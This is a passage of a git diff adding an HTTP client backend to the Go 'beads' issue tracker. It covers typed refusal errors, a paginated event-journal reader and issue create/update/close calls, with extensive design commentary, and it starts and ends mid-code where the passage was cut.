zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask"), + "showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but that read was flipped onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask"), row("F-show-refs", "show", "--refs", "`bd show --refs` refuses", "showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently"), row("F-show-children", "show", "--children", "`bd show --children` refuses", diff --git a/internal/httpclient/encode/ledger_render.go b/internal/httpclient/encode/ledger_render.go index e1416c825..fca5d6263 100644 --- a/internal/httpclient/encode/ledger_render.go +++ b/internal/httpclient/encode/ledger_render.go @@ -190,17 +190,17 @@ hand-edit it: change the ledger in Go and regenerate. Two gates keep it honest the encoder's reflection **bijection gate** pins the ledger to the wire (a request field added upstream lands here or fails CI), and the golden test ` + "`TestDivergenceLedgerDocMatchesLedger`" + ` pins this doc to the ledger. The prose -rationale, the decision numbers (D-rows) each entry cites, and the full test-lane -map live in the architecture spec, ` + "`http-client-backend.md`" + `, which is not -included in this repository. +rationale and the decision numbers (D-rows) each entry cites trace back to the +original (bd-enterprise-internal) design's decision log, which is not included +in this repository; the full test-lane map lives alongside each row below. A handful of rows still carry a ` + "`TODO`" + ` pin: these are the read-display and pre-run residuals (wisp-in-list, the pretty ` + "`bd ready`" + ` parent-epic map, the molecule/auto-import pre-run degradations). The -client core is complete; ` + "`ga-b8ddd.12`" + ` (per-request project-id enforcement) -closed the read-display escalation, so pinning the remaining fixture corpus is -deferred work, tracked on ` + "`ga-b8ddd.23`" + ` (the read-display residual) -and ` + "`ga-b8ddd.19`" + ` (the per-id D7 taxonomy). They are refusals or degradations +client core is complete; a since-closed per-request project-id enforcement +follow-up closed the read-display escalation, so pinning the remaining +fixture corpus is deferred work (tracked as a read-display residual and a +per-id D7 taxonomy follow-up). They are refusals or degradations already in force — the ` + "`TODO`" + ` is on the test that will hold each one, not on the behavior. diff --git a/internal/httpclient/encode/table.go b/internal/httpclient/encode/table.go index 6b4fd44a9..9e6523a51 100644 --- a/internal/httpclient/encode/table.go +++ b/internal/httpclient/encode/table.go @@ -64,6 +64,12 @@ const ( // all four published — so it is built inline beside the three graph reads // that share its collection. Its refusal still has to name an operation. OpCountDependencyEdges Op = "countDependencyEdges" + + // listDependencyCycles carries no encoder table either: the request has + // exactly one member (IncludeTracks) and the wire has no parameter for it + // at all, so there is nothing to tabulate — the one refusal is built + // inline beside the role. See "L-cycles-tracks". + OpListDependencyCycles Op = "listDependencyCycles" ) // Disposition is what becomes of one request field on its way to the wire. diff --git a/internal/httpclient/errors.go b/internal/httpclient/errors.go new file mode 100644 index 000000000..a4a764acc --- /dev/null +++ b/internal/httpclient/errors.go @@ -0,0 +1,102 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/errors.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "fmt" + "sort" + + "github.com/steveyegge/beads/internal/storage" +) + +// ErrHTTPUnsupported is returned by every refused method of the http store. It +// unwraps to *storage.ErrUnsupported{Op: , Backend: "http"} so that +// errors.Is/errors.As classification and backend/conformance's +// RunUnsupportedContract hold unchanged, and it carries what the refusal +// taxonomy needs to say about the server that refused. +// +// The taxonomy (design D7) renders these fields at the standard error path +// rather than letting a Go method name escape to a user; the shape here is the +// one D8 ("The sentinel") specifies. +type ErrHTTPUnsupported struct { + // Unsup is the portable sentinel: Op is the method name, Backend is "http". + Unsup *storage.ErrUnsupported + // ServerURL is the target this store speaks to. Empty for a backstop + // refusal raised before a target was resolved (see errUnsupported). + ServerURL string + // BdVersion is the serving binary's release, from the cached + // ContextResponse; empty before the handshake has run (D6). + BdVersion string + // Capabilities are the tokens the server advertises, sorted. Nil before the + // handshake. + Capabilities []string +} + +func (e *ErrHTTPUnsupported) Error() string { + // D8 pins this shape for a refusal that knows its server. A backstop + // refusal has no URL to name, so it falls back to the portable sentinel's + // own rendering rather than printing "bd serve at " with nothing after it. + if e.ServerURL == "" { + return e.Unsup.Error() + } + return fmt.Sprintf("operation %q not supported by the http backend (bd serve at %s)", + e.Unsup.Op, e.ServerURL) +} + +func (e *ErrHTTPUnsupported) Unwrap() error { return e.Unsup } + +// errUnsupported is the constructor every generated stub in unsupported_gen.go +// calls. Those stubs hang off the generated empty value receiver and therefore +// cannot reach a store, so they are the backstop arm: Op and Backend only. +// +// Every HAND-WRITTEN refusal in this package goes through (*Store).unsupported +// instead, which fills in the server context D7 renders. That split is the +// reason the taxonomy's user-facing texts always have a URL: whole-command and +// flag-mode refusals are raised before RunE from the store, never from a +// promoted shell stub. +func errUnsupported(op string) error { + return &ErrHTTPUnsupported{Unsup: &storage.ErrUnsupported{Op: op, Backend: Backend}} +} + +// unsupported is the store-bound refusal: the same typed sentinel, enriched +// with the target and the handshake snapshot so the D7 taxonomy can name the +// server, its version and what it does advertise. +func (s *Store) unsupported(op string) error { + e := &ErrHTTPUnsupported{Unsup: &storage.ErrUnsupported{Op: op, Backend: Backend}} + if s == nil { + return e + } + e.ServerURL = s.target.String() + if snap := s.cachedSnapshot(); snap != nil { + e.BdVersion = snap.BdVersion + e.Capabilities = append([]string(nil), snap.Capabilities...) + sort.Strings(e.Capabilities) + } + return e +} + +// unsupportedCapability is unsupported's sibling for a BEHAVIOR-token refusal +// rather than a whole-operation one: the operation itself is fine (countIssues +// exists on every server this client speaks to), but one caller-supplied field +// requires a behavior the handshake snapshot does not advertise. +// +// It fills in Unsup.Capability, which (*Store).unsupported never sets — that +// one is for a method this build cannot express on this backend at all, and +// has no single token to name. errors.As(err, &unsupported) reaching +// unsupported.Capability == capability is what counter.go's pre-dial scope +// refusal promises the caller (S8's CLIENT-SKEW NOTE in +// internal/httpapi/routes.go, beside CapIssuesCountScope): refuse before +// dialing, never drop the fields and answer a wider count than asked for. +func (s *Store) unsupportedCapability(op, capability string) error { + e := &ErrHTTPUnsupported{Unsup: &storage.ErrUnsupported{Op: op, Backend: Backend, Capability: capability}} + if s == nil { + return e + } + e.ServerURL = s.target.String() + if snap := s.cachedSnapshot(); snap != nil { + e.BdVersion = snap.BdVersion + e.Capabilities = append([]string(nil), snap.Capabilities...) + sort.Strings(e.Capabilities) + } + return e +} diff --git a/internal/httpclient/journal.go b/internal/httpclient/journal.go new file mode 100644 index 000000000..32b846b3d --- /dev/null +++ b/internal/httpclient/journal.go @@ -0,0 +1,213 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/journal.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "net/url" + "strconv" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/journalops" +) + +// The DURABLE MUTATION JOURNAL, read over GET /v0/beads/events. +// +// THERE IS NO ACCESSOR HERE, and its absence is the role's design rather than an +// omission: journalops.Journal is not on storage.DoltStorage, so a backend +// publishes the journal by IMPLEMENTING the interface a caller type-asserts for. +// `bd serve` makes exactly that assertion (cmd/bd's serveJournalCursor), which +// is why this method sits on *Store beside the raw off-role reads rather than +// behind a Journal() accessor nothing would call. +// +// THIS CLIENT HOLDS THE READ AND NOT THE OPERATOR HALF, which is the split +// journalops states and the reason the role exists apart from +// storage.EventsJournalAccessor. Retention and per-instance activation are +// decisions about a workspace's own recording, and this process has no workspace +// and no engine — it is a client of one. So *Store implements +// EventsJournalCursor and deliberately implements neither EventsJournalAccessor +// (which prunes) nor EventsJournalConfigurer (which activates), and +// cmd/bd/enterprise_events_journal_refusal_test.go pins all three facts about +// the type. +// +// WHAT THAT COSTS AT THE FRONT DOOR is worth stating rather than discovering: +// `bd events tail|export|prune` resolve their accessor through journalAccessor, +// which asks for the WIDE interface, so they still refuse on this backend. That +// is not a gap this port left open — it is the narrow interface doing its job. A +// command that only reads would need a read-only resolution path of its own. + +// eventsWireLimit is the cap the HANDLER puts on one page, redeclared here +// because importing internal/httpapi would drag the storage engine into a +// client. It is maxEventsLimit in internal/httpapi/events.go. +// +// IT IS THE HANDLER'S PROMISE TO ITS CLIENTS rather than the role's: the role +// imposes no ceiling of its own, because the caller that pages a hundred +// thousand records out to a file is as legitimate as the one polling for ten. +// This client is on the other side of that promise, so an uncapped read becomes +// the loop in readPages rather than a refusal. +const eventsWireLimit = 10000 + +var _ journalops.Journal = (*Store)(nil) + +// ReadEventsJournalPage returns the journal records after the caller's +// checkpoint, with the head of the journal's history. +// +// A LIMIT OF 0 IS UNCAPPED TO THE ROLE AND A 400 ON THE WIRE, and reconciling +// those two is the whole of what this body adds over one request. The role's +// contract is explicit that an uncapped read is legitimate; the operation +// refuses `limit=0` by value, because a page it could not bound is a page it +// could not serve. So an uncapped read becomes a LOOP over the handler's own +// maximum, advancing the checkpoint to the last seq served, until a short page +// or a checkpoint that has reached the head. +// +// THE ONE PROMISE THAT LOOP CANNOT KEEP is the one the Page type exists for: the +// rows and the head come from ONE transaction, and a loop is N of them. What +// survives is what a consumer acts on — the rows are still contiguous and +// seq-ascending, because each page continues exactly where the last ended, and +// the head is the LAST page's, which is the freshest and can only be at or ahead +// of the last row served. What does not survive is atomicity across the whole +// answer: a mutation committing mid-loop appears in a later page of the same +// call rather than in the next call. That is ledgered (L-events-paging) and it +// is strictly better than the alternatives — refusing an uncapped read the role +// permits, or silently capping one at 10000 and reporting a head that says there +// is more, which is a caller stalling on a page it was never told was partial. +// +// A BOUNDED READ IS ONE REQUEST and nothing above applies to it: limit reaches +// the wire as it was given, the page comes back with the journal's head, and a +// caller learns there is more by comparing the last seq against it. +func (s *Store) ReadEventsJournalPage(ctx context.Context, since int64, limit int) (journalops.Page, error) { + if limit > 0 { + return s.readEventsPage(ctx, since, limit) + } + return s.readEventsPages(ctx, since) +} + +// readEventsPages walks the journal from since to its end, one handler-sized +// page at a time. +// +// The loop stops on a SHORT page, which is the end of the journal by the +// operation's own contract — records are contiguous, so a page smaller than the +// bound cannot be followed by another — and on a page that served nothing, which +// is the caught-up answer. It also stops at the head it was told, so a server +// that answered a full page of rows it had already served cannot spin this +// forever. +func (s *Store) readEventsPages(ctx context.Context, since int64) (journalops.Page, error) { + page := journalops.Page{} + cursor := since + for { + next, err := s.readEventsPage(ctx, cursor, eventsWireLimit) + if err != nil { + // A TRUNCATION ON ANY PAGE IS THE WHOLE READ'S, never a shorter + // answer. The contract's bounded arm asserts the identical window + // from a capped read and an uncapped one, and a loop that returned + // the prefix it had already gathered would answer a gap with a + // plausible-looking suffix — the one failure a replay feed must + // never ship. + return journalops.Page{}, err + } + page.Head = next.Head + page.Rows = append(page.Rows, next.Rows...) + if len(next.Rows) < eventsWireLimit { + return page, nil + } + last := next.Rows[len(next.Rows)-1].Seq + if last <= cursor || last >= next.Head { + // The first arm is a server that did not advance; the second is a + // caller that has reached the history it was told about. Neither is + // a reason to ask again. + return page, nil + } + cursor = last + } +} + +// readEventsPage is ONE request. +func (s *Store) readEventsPage(ctx context.Context, since int64, limit int) (journalops.Page, error) { + q := url.Values{} + // FormatInt rather than Itoa: `since` is an int64 and the conformance + // suite's own head probe reads with math.MaxInt64, which a 32-bit int + // conversion would silently wrap. + q.Set("since", strconv.FormatInt(since, 10)) + if limit > 0 { + q.Set("limit", strconv.Itoa(limit)) + } + + var body apigen.EventsPage + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListEvents, + Method: http.MethodGet, + Path: wire.PathEvents, + Query: q, + }, &body); err != nil { + return journalops.Page{}, eventsJournalError(err) + } + + rows := make([]journalops.Row, 0, len(body.Records)) + for _, record := range body.Records { + rows = append(rows, journalRow(record)) + } + return journalops.Page{Rows: rows, Head: body.Head}, nil +} + +// eventsJournalError rebuilds the role's TYPED truncation from the problem +// document that carried it. +// +// It is the one place on this seam where a refusal has to become a Go value +// carrying DATA rather than a sentinel, and the contract checks it by +// errors.As against journalops.TruncatedError — a type no leg names, since +// storage.EventsJournalTruncatedError is an alias of it. A client that returned +// the wire's sentinel alone would satisfy errors.Is and fail every consumer, +// because the recovery is a decision made from the WINDOW: resume from Floor-1 +// and accept the gap, or rebuild. +// +// ALL THREE MEMBERS TRAVEL TOGETHER and none is omitted to mean zero — a head of +// 0 is a real journal state — so a document missing any of them is a server this +// client cannot reconstruct a window from, and the wire's own error travels +// unchanged rather than a window with a fabricated bound in it. +// +// `since` IS NOT ECHOED BACK. On an interior hole the server reports the last +// seq it could serve CONTIGUOUSLY from the caller's checkpoint, which is +// strictly more useful and cannot be recovered by a client that assumed it was +// getting its own input back — so this reads the member rather than the request. +func eventsJournalError(err error) error { + if !errors.Is(err, wire.ErrEventsJournalTruncated) { + return err + } + var prob *wire.ProblemError + if !errors.As(err, &prob) || prob.Since == nil || prob.Floor == nil || prob.Head == nil { + return err + } + return &journalops.TruncatedError{Since: *prob.Since, Floor: *prob.Floor, Head: *prob.Head} +} + +// journalRow projects one published record back onto the storage row the role +// answers with. +// +// It is the exact inverse of eventsjournal.NewRecord, and the payload members +// are the part worth reading twice. `issue` is ALWAYS present and carries the +// literal `null` on a delete — a consumer must be able to tell a delete from a +// payload the server failed to record — while `dep` and `comment` are ABSENT on +// the ops that have no such half. All three collapse to the empty string on the +// row, which is the row's own conflation and not one this client introduces: +// journalops.Row documents IssueJSON as empty when the op is a delete. +// +// The payloads travel as RAW BYTES in both directions. Re-encoding them would +// reorder members and renormalize numbers against a contract that promises the +// issue exactly as the mutation left it. +func journalRow(record apigen.EventRecord) journalops.Row { + row := journalops.Row{ + Seq: record.Seq, + TS: record.TS, + Op: record.Op, + IssueID: record.IssueID, + } + if payload := string(record.Issue); payload != "" && payload != "null" { + row.IssueJSON = payload + } + row.DepJSON = string(record.Dep) + row.CommentJSON = string(record.Comment) + return row +} diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go new file mode 100644 index 000000000..06f583730 --- /dev/null +++ b/internal/httpclient/lifecycle.go @@ -0,0 +1,917 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/lifecycle.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "maps" + "reflect" + "slices" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// httpLifecycle serves issueops.Lifecycle WHOLE (design D8 row 16): Create over +// POST createIssue, Update over PATCH updateIssue, and Close and Reopen over +// their custom methods. +// +// It was PARTIAL until the create landed: POST /v0/beads/issues was deliberately +// left free on the wire when issues:batchCreate chose a custom method, and +// upstream #5483 filled it with the single create this role now dials. +type httpLifecycle struct { + store *Store + wire WriteWire +} + +var _ issueops.Lifecycle = (*httpLifecycle)(nil) + +// Create dials POST /v0/beads/issues. +// +// The whole request maps but for two members, and both refuse rather than +// dropping: IDPrefix where it would act on an explicit, unforced id, which the +// server publishes no member for on purpose (W-CreateRequest.IDPrefix), and +// every member of the issue outside the wire's twenty (W-CreateRequest.Issue) +// — save a CreatedBy that names the actor, which the server stamps from the +// actor itself. A create that reported success having silently dropped the +// storage class, the molecule type or the creation time is a row the caller +// believes they wrote and did not. +// +// The RESPONSE is the row as stored — the minted id, the defaulted status, the +// persisted timestamps — so nothing here echoes the request back. +func (l *httpLifecycle) Create(ctx context.Context, req issueops.CreateRequest) (result issueops.CreateResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply createBody/refuseUnwirableCreateIssue/createEdge nested it + // inside an "Issue.%s:"/"dependencies[%d]:" prefix — into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. The + // original composite message (including that prefix) is preserved in the + // decorated error's own text. + defer func() { err = l.store.inexpressible("Lifecycle.Create", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.CreateResult{}, err + } + body, err := createBody(req) + if err != nil { + return issueops.CreateResult{}, err + } + + issue, err := l.wire.CreateIssue(ctx, body) + if err != nil { + // The wire's already_exists carries `param: "id"` and no id, because the + // request already said it — the same argument the problem mapper's + // target makes for the conflicts it rebuilds. Putting the caller's own + // id back is what lets `bd create --id X` say WHICH id is taken, the way + // a local backend's refusal does. Nothing else about the refusal is + // recomposed: the sentinel and the server's detail are its own. + if req.Issue != nil && req.Issue.ID != "" && errors.Is(err, issueops.ErrAlreadyExists) { + return issueops.CreateResult{}, fmt.Errorf("%s: %w", req.Issue.ID, err) + } + return issueops.CreateResult{}, err + } + return issueops.CreateResult{Issue: issue}, nil +} + +// createBody projects the role's request onto the wire's flat create body. +// +// FLAT is the shape that makes this operation different from every other write +// here: the issue's own members are top-level members of the request rather than +// a nested document, so this function is the only place the two vocabularies +// meet and the allowlist below is the whole of it. +func createBody(req issueops.CreateRequest) (apigen.CreateIssueRequest, error) { + if req.Issue == nil { + return apigen.CreateIssueRequest{}, invalid("a create names no issue") + } + if len(req.Issue.Comments) > 0 || len(req.Issue.Dependencies) > 0 { + // The ROLE's own rule, not a wire divergence: edges are supplied through + // the request's own Dependencies, where their direction can be stated, + // and a create has no way to supply comments at all. A local backend + // refuses this too. + return apigen.CreateIssueRequest{}, invalid( + "Issue carries comments or dependencies; supply edges through the request's own Dependencies") + } + if req.IDPrefix != "" && req.Issue.ID != "" && !req.ForceIDPrefix { + // Refused only where the override would ACT. The role reads it for one + // thing — checking an explicit id it was not told to force — so a create + // that mints its id, or forces one, asks the server for nothing it cannot + // do. `bd create` sends the workspace's prefix on every create, and an + // unconditional refusal would refuse every create in a workspace whose + // config.yaml names one. + return apigen.CreateIssueRequest{}, refuse(encode.OpCreateIssue, "W-CreateRequest.IDPrefix") + } + if err := refuseUnwirableIssueMembers(req.Issue, req.Actor, encode.OpCreateIssue, "W-CreateRequest.Issue"); err != nil { + return apigen.CreateIssueRequest{}, err + } + + issue := req.Issue + // Priority is sent ALWAYS, for batchCreateIssues' reason: 0 is P0 and a real + // request, so an absent member — which the server reads as the workspace + // default — would silently reprioritize every critical issue a plan creates. + priority := issue.Priority + body := apigen.CreateIssueRequest{Actor: req.Actor, Title: issue.Title, Priority: &priority} + + setItemString(&body.Id, issue.ID) + setItemString(&body.Description, issue.Description) + setItemString(&body.Design, issue.Design) + setItemString(&body.AcceptanceCriteria, issue.AcceptanceCriteria) + setItemString(&body.Notes, issue.Notes) + setItemString(&body.Status, string(issue.Status)) + setItemString(&body.IssueType, string(issue.IssueType)) + setItemString(&body.Assignee, issue.Assignee) + setItemString(&body.Owner, issue.Owner) + setItemString(&body.Sender, issue.Sender) + setItemString(&body.ParentId, req.ParentID) + if issue.ExternalRef != nil { + // Sent THROUGH the pointer rather than through setItemString: this is + // the one text member the role models as nullable, so a set-but-empty + // ref stores the empty string where an absent one stores NULL, and + // collapsing the two would drop a state the caller can observe. + ref := *issue.ExternalRef + body.ExternalRef = &ref + } + if issue.EstimatedMinutes != nil { + minutes := *issue.EstimatedMinutes + body.EstimatedMinutes = &minutes + } + body.DueAt = copyTime(issue.DueAt) + body.DeferUntil = copyTime(issue.DeferUntil) + if len(issue.Labels) > 0 { + labels := append([]string(nil), issue.Labels...) + body.Labels = &labels + } + if len(issue.Metadata) > 0 { + // The blob travels as the bytes the caller sent, applyDepAddItem's rule: + // the role is the single definition of what the metadata plane accepts, + // and a second parse here would be a second definition. + // + // WELL-FORMEDNESS is a different question from acceptance, and it is + // this layer's: bytes that are not JSON at all cannot go on a JSON wire, + // and letting them through would surface as a marshal fault at the + // transport where the role promises ErrValidation. + if err := requireJSON("Issue.Metadata", issue.Metadata); err != nil { + return apigen.CreateIssueRequest{}, err + } + body.Metadata = append(apigen.MetadataValue(nil), issue.Metadata...) + } + // The four booleans are sent only when TRUE. Each selects something — a + // plane, an inheritance, a bypass — so an explicit false is the default said + // twice, and `ephemeral` and `no_history` are mutually exclusive on the + // wire, which a pair of explicit falses would not trip but a pair of + // explicit trues would. + setItemBool(&body.Ephemeral, issue.Ephemeral) + setItemBool(&body.NoHistory, issue.NoHistory) + setItemBool(&body.InheritLabelsFromParent, req.InheritLabelsFromParent) + setItemBool(&body.ForceIdPrefix, req.ForceIDPrefix) + + if len(req.Dependencies) > 0 { + edges := make([]apigen.CreateIssueDependency, 0, len(req.Dependencies)) + for i, dep := range req.Dependencies { + edge, err := createEdge(i, dep) + if err != nil { + return apigen.CreateIssueRequest{}, err + } + edges = append(edges, edge) + } + body.Dependencies = &edges + } + if req.WaitsFor != nil { + gate := apigen.CreateIssueWaitsFor{SpawnerId: req.WaitsFor.SpawnerID} + setItemString(&gate.Gate, req.WaitsFor.Gate) + body.WaitsFor = &gate + } + return body, nil +} + +// createEdge projects one requested edge onto createIssue's own edge, which +// carries `reverse` and `metadata` where batchCreateIssues' does not — a create +// has an id for a target to point back at, and a batch item has none. +func createEdge(index int, dep issueops.CreateDependency) (apigen.CreateIssueDependency, error) { + where := func(err error) error { return fmt.Errorf("dependencies[%d]: %w", index, err) } + switch { + case dep.TargetID == "": + return apigen.CreateIssueDependency{}, where(invalid("target_id is required")) + case dep.Type == "": + return apigen.CreateIssueDependency{}, where(invalid("type is required")) + case dep.ThreadID != "": + return apigen.CreateIssueDependency{}, where(refuse(encode.OpCreateIssue, "W-CreateDependency.ThreadID")) + } + edge := apigen.CreateIssueDependency{TargetId: dep.TargetID, Type: string(dep.Type)} + setItemBool(&edge.Reverse, dep.Reverse) + if dep.Metadata != "" { + if err := requireJSON("metadata", []byte(dep.Metadata)); err != nil { + return apigen.CreateIssueDependency{}, where(err) + } + edge.Metadata = apigen.MetadataValue(dep.Metadata) + } + return edge, nil +} + +// requireJSON refuses a raw blob that is not JSON, before it can become a +// request body. +// +// It is NOT a judgment about the metadata plane's vocabulary — that belongs to +// the role, which is why the blob travels verbatim — only about whether these +// bytes can be sent at all. Without it a malformed blob fails inside +// json.Marshal and reaches the caller as a transport fault, where every role +// contract promises a deterministic validation failure. +func requireJSON(member string, raw []byte) error { + if !json.Valid(raw) { + return invalid("%s is not valid JSON", member) + } + return nil +} + +// createCarriedIssueMembers is the wire's create vocabulary: the twenty members +// of apigen.CreateIssueRequest that describe the issue itself, keyed by the +// types.Issue field each one carries. +// +// It is the ALLOWLIST half of refuse-not-drop for this operation. What it does +// not name is refused, and there is no third arm — see refuseUnwirableIssueMembers. +var createCarriedIssueMembers = map[string]string{ + "ID": "id", + "Title": "title", + "Description": "description", + "Design": "design", + "AcceptanceCriteria": "acceptance_criteria", + "Notes": "notes", + "Status": "status", + "Priority": "priority", + "IssueType": "issue_type", + "Assignee": "assignee", + "Owner": "owner", + "EstimatedMinutes": "estimated_minutes", + "ExternalRef": "external_ref", + "DueAt": "due_at", + "DeferUntil": "defer_until", + "Sender": "sender", + "Metadata": "metadata", + "Labels": "labels", + "Ephemeral": "ephemeral", + "NoHistory": "no_history", +} + +// setItemBool writes an optional wire boolean, leaving it absent when the caller +// asked for nothing. The pointer addresses a local copy, never the caller's field. +func setItemBool(dest **bool, value bool) { + if !value { + return + } + v := value + *dest = &v +} + +// copyTime detaches an optional timestamp from the caller's request, so nothing +// downstream can be surprised by a value the caller still holds a pointer to. +func copyTime(value *time.Time) *time.Time { + if value == nil { + return nil + } + v := *value + return &v +} + +// Update dials PATCH updateIssue. +// +// Everything hard about it is the PATCH shape, and it is hard for one reason: +// on this operation PRESENCE is the signal and an explicit null is the CLEAR, so +// "omitted" and "set to nothing" are different requests. issueops.Field carries +// that distinction; apigen.IssuePatchBody cannot — its members are pointers with +// `omitempty`, which collapses a nil clear into an absent member — so the body +// is built as an ordered document here and the wire marshals it verbatim. +// +// Refuse-not-drop governs every member the wire's issuePatchMembers list +// excludes, and every UpdateRequest member with no wire counterpart. A dropped +// patch member is an edit the caller believes landed; a dropped precondition is +// a conditional write turned unconditional. Both are the failure class the +// divergence ledger exists to make impossible. +// +// A CLAIM rides the same request (upstream #6890): `claim` is a top-level +// member beside the patch, so a claim alone, a claim with a patch and a claim +// with a version guard are each ONE updateIssue call, claimed and patched in +// one transaction by the same role the direct route runs, and answered with the +// post-write `revision` like every other update. The one claim that goes +// anywhere else is a claim ALONE to a server that predates the member — see +// serverPredatesUpdateClaim. +func (l *httpLifecycle) Update(ctx context.Context, req issueops.UpdateRequest) (result issueops.UpdateResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply refuseUnwirableUpdateMembers/encodeIssuePatch/ + // refuseExcludedPatchMembers nested it, and transitively covering + // claimOnlyUpdate's own refusals since every one of its returns flows back + // through this method's single call site — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. + defer func() { err = l.store.inexpressible("Lifecycle.Update", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.UpdateResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.UpdateResult{}, err + } + if err := refuseUnwirableUpdateMembers(req); err != nil { + return issueops.UpdateResult{}, err + } + + patch, err := encodeIssuePatch(req.Patch) + if err != nil { + return issueops.UpdateResult{}, err + } + if len(patch) == 0 && !req.Claim { + // The server answers a 400 for an empty patch — except beside `claim`, + // where the claim is the write — and so does the local role's own + // validation. Saying it here keeps a write that writes nothing off the + // wire entirely. + return issueops.UpdateResult{}, invalid("update names no field to write") + } + + res, err := l.wire.UpdateIssue(ctx, req.IssueID, req.Actor, patch, updateGuards(req), updateFlags(req)) + if err != nil { + if req.Claim && isClaimOnlyUpdate(req) && serverPredatesUpdateClaim(err) { + return l.claimOnlyUpdate(ctx, req) + } + return issueops.UpdateResult{}, err + } + // The stitch releaser.go documents: types.Issue.RowVersion is `json:"-"`, so + // the decoded row carries no token and updateIssue publishes the post-write + // revision as a sibling member. Riding it back onto Issue.RowVersion is what + // lets a guarded read-modify-write compose its next ExpectedVersion from the + // result rather than paying a Get to re-read a token the write already answered. + issue := res.Issue + if issue.RowVersion, err = parseRevision("updateIssue", res.Revision); err != nil { + return issueops.UpdateResult{}, err + } + return issueops.UpdateResult{Issue: &issue, Changed: res.Changed}, nil +} + +// updateGuards carries the request's three compare-and-set preconditions onto +// the wire. +// +// EVERY ONE IS A POINTER ON BOTH SIDES AND THE COPY IS A NIL CHECK, which is the +// whole implementation and is the point: a zero value is a REQUEST on all three +// — `expected_version` 0 is a token the migration-0054 backfill really wrote, +// and an empty `expected_assignee` is the guard that says "only if nobody holds +// it" — so absent has to stay absent. No sentinel is encoded here, in either +// direction. +// +// The pointers address LOCAL copies, so nothing downstream can be surprised by +// a value the caller still holds. +func updateGuards(req issueops.UpdateRequest) wire.UpdateGuards { + var guards wire.UpdateGuards + guards.ExpectedVersion = revisionGuard(req.ExpectedVersion) + if req.ExpectedStatus != nil { + status := string(*req.ExpectedStatus) + guards.ExpectedStatus = &status + } + if req.ExpectedAssignee != nil { + assignee := *req.ExpectedAssignee + guards.ExpectedAssignee = &assignee + } + return guards +} + +// updateFlags carries the claim and the three force overrides onto the wire. +// The wire sends each only when true, so a request that sets none of them is +// byte-identical to one built before any of them was carried. +func updateFlags(req issueops.UpdateRequest) wire.UpdateFlags { + return wire.UpdateFlags{ + Claim: req.Claim, + ForceAssigneeTransfer: req.ForceAssigneeTransfer, + ForceClosePolicy: req.ForceClosePolicy, + ForceNotesOverwrite: req.ForceNotesOverwrite, + } +} + +// serverPredatesUpdateClaim reports whether err is a server that predates +// `claim` on updateIssue (upstream #6890) refusing the member: the version-skew +// 400 — `unknown_parameter`, naming `claim` itself. Such a server checks body +// members before it reads anything else, so the refusal arrives before any +// database work and nothing the request asked for was written. +// +// It is the SKEW signal, not the capability list, because no capability token +// announces the member — it is additive, so it bumped no wire revision either — +// and the reason is what dispatches, never the code alone: `invalid_value` +// naming `claim` is a current server refusing a claim beside a member it may +// not ride with, which is the caller's error to see, not a server to route +// around. +func serverPredatesUpdateClaim(err error) bool { + var problem *wire.ProblemError + return errors.As(err, &problem) && + problem.Reason == encode.UnknownParameterReason && + problem.Param == "claim" +} + +// Close dials POST issues/{id}:close. +func (l *httpLifecycle) Close(ctx context.Context, req issueops.CloseRequest) (issueops.CloseResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.CloseResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.CloseResult{}, err + } + + body := closeBody(req.Actor, req.Reason, req.Session, req.Force) + body.ExpectedVersion = revisionGuard(req.ExpectedVersion) + res, err := l.wire.CloseIssue(ctx, req.IssueID, body) + if err != nil { + return issueops.CloseResult{}, err + } + // The stitch releaser.go documents; an idempotent re-close carries the current + // token too, so a close-then-reopen chain composes its next ExpectedVersion here. + issue := res.Issue + if issue.RowVersion, err = parseRevision("closeIssue", res.Revision); err != nil { + return issueops.CloseResult{}, err + } + return issueops.CloseResult{ + Issue: &issue, + Changed: !res.AlreadyClosed, + OpenChildren: res.OpenChildren, + }, nil +} + +// Reopen dials POST issues/{id}:reopen. +func (l *httpLifecycle) Reopen(ctx context.Context, req issueops.ReopenRequest) (result issueops.ReopenResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = l.store.inexpressible("Lifecycle.Reopen", err) }() + if err 